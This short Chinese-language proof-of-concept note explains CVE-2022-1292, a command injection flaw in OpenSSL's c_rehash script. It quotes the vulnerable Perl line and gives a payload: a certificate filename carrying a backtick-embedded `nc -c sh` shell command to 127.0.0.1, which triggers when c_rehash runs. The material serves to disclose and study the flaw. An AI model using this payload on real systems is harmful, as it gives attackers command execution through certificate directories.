
CVE-2022-1292 OpenSSL c_rehash Vulnerability - POC

c_rehash 脚本未能正确清理 shell 元字符以防止命令注入。
某些操作系统在分发此脚本时,会使其自动执行。
在这些操作系统上,攻击者可以以脚本的权限执行任意命令。
使用 c_rehash 脚本被认为已过时,应替换为 OpenSSL rehash 命令行工具。
此脚本由 update-ca-certificates(来自 ca-certificates 包)执行,
用于重新哈希 /etc/ssl/certs/ 中的证书。能够在
此目录中放置文件的攻击者可以以脚本的权限执行任意命令。
命令注入的发生是因为文件名未正确清理:
$fname =~ s/'/'\\''/g;my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in '$fname'`;脚本的这一部分存在漏洞,因为关闭反引号后可以执行命令。例如,一个名为 MyCert.crt`whoami` 的文件会运行 "whoami"。
/etc/ssl/certs/(默认)或 update-ca-certificates 配置的其他路径echo "-----BEGIN CERTIFICATE-----" > "hey.crt\`nc -c sh 127.0.0.1 12345\`" (nc 作为 payload 示例)c_rehash .